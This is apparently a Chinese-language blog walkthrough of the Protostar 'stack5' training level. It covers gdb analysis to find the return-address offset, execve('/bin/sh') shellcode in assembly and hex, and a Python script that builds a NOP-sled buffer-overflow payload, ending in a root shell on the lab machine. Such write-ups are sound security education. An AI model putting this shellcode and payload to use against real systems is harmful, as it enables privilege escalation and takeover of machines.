About

Stack5 is a standard buffer overflow, this time introducing shellcode.
Hints:
  • At this point in time, it might be easier to use someone elses shellcode
  • If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
  • remove the int3s once your shellcode is done.
This level is at /opt/protostar/bin/stack5

Source code


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[64];

    gets(buffer);
}

这题对我来说算是比较有挑战性的,除了求助外,也花了我不少时间来Debug。。。。
这道题该怎么过呢?其实是需要在buffer中填进一段shellcode,并修改函数的RET地址跳到shellcode的地方并执行。
同样,第一步需先找出程序的RET与buffer输入的第一个字符的距离。。。

user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:        push     %ebp
0x080483c5 <main+1>:        mov        %esp,%ebp
0x080483c7 <main+3>:        and        $0xfffffff0,%esp
0x080483ca <main+6>:        sub        $0x50,%esp
0x080483cd <main+9>:        lea        0x10(%esp),%eax
0x080483d1 <main+13>:     mov        %eax,(%esp)
0x080483d4 <main+16>:     call     0x80482e8 <gets@plt>
0x080483d9 <main+21>:     leave    
0x080483da <main+22>:     ret        
End of assembler dump.
(gdb) b *main+21
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack5/stack5.c:11
11            stack5/stack5.c: No such file or directory.
                in stack5/stack5.c
(gdb) x/40x $esp
0xbffff760:         0xbffff770            0xb7ec6165            0xbffff778            0xb7eada75
0xbffff770:         0x61616161            0x61616161            0x61616161            0x61616161
0xbffff780:         0x61616161            0x61616161            0x61616161            0x61616161
0xbffff790:         0x61616161            0x61616161            0x61616161            0x00616161
0xbffff7a0:         0xb7ec6365            0xb7ff1040            0x080483fb            0xb7fd7ff4
0xbffff7b0:         0x080483f0            0x00000000            0xbffff838            0xb7eadc76
0xbffff7c0:         0x00000001            0xbffff864            0xbffff86c            0xb7fe1848
0xbffff7d0:         0xbffff820            0xffffffff            0xb7ffeff4            0x08048232
0xbffff7e0:         0x00000001            0xbffff820            0xb7ff0626            0xb7fffab0
0xbffff7f0:         0xb7fe1b28            0xb7fd7ff4            0x00000000            0x00000000
(gdb) p $ebp - 0xbffff770 + 4
$1 = (void *) 0x4c
(gdb) p 0x4c
$2 = 76

因此输入的格式应该是长下面这样的:
<nop><shellcode><AAAA><newRET>
|<---------76-------->|<--4->|

第二步就是要找一个有用的shellcode,在网上找了个代码如下:
user@protostar:~/stack5$ cat shell.asm
section .text

global _start

_start:

mov eax,0xf068732f
and eax,0x0fffffff
push eax
mov eax,0x6e69622f
push eax
mov ebx,esp
xor eax,eax
mov al,11
xor ecx,ecx
xor edx,edx
int 0x80

再编辑一下
user@protostar:~/stack5$ nasm -f elf shell.asm 
user@protostar:~/stack5$ ld -o shell shell.o 
user@protostar:~/stack5$ ./shell 

objdump来查看十六进制的代码, objdump -d shell.o 
user@protostar:~/stack5$ objdump -d shell.o

shell.o:         file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
     0:     b8 2f 73 68 f0                    mov        $0xf068732f,%eax
     5:     25 ff ff ff 0f                    and        $0xfffffff,%eax
     a:     50                                            push     %eax
     b:     b8 2f 62 69 6e                    mov        $0x6e69622f,%eax
    10:     50                                            push     %eax
    11:     89 e3                                     mov        %esp,%ebx
    13:     31 c0                                     xor        %eax,%eax
    15:     b0 0b                                     mov        $0xb,%al
    17:     31 c9                                     xor        %ecx,%ecx
    19:     31 d2                                     xor        %edx,%edx
    1b:     cd 80                                     int        $0x80

为了方便输入,把shellcode转化为Python脚本。。。
user@protostar:~/stack5$ cat pwn5.py
#!/usr/bin/env python
offset = 72
shellcode = "\xb8\x2f\x73\x68\xf0\x25\xff\xff\xff\x0f\x50\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"

nopsled = "\x90" * (offset - len(shellcode))

ret = "\x80\xf7\xff\xbf"

payload = nopsled + shellcode + "jjjj" + ret

print payload

细心的童鞋可能会发现buffer首字符地址应该是0xbffff770,而shellcode的RET地址写的是0xbffff780,这样写的原因是因为0x90(NOP)在汇编中是空指令,而RET地址落在连续一串的空指令在任何一个地方的作用都是相等的,因此地址落在NOP中间的话会对移植性有提高。。。

user@protostar:~/stack5$ (cat payload5; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root

终于搞定,写到胃疼~~~赶紧碎觉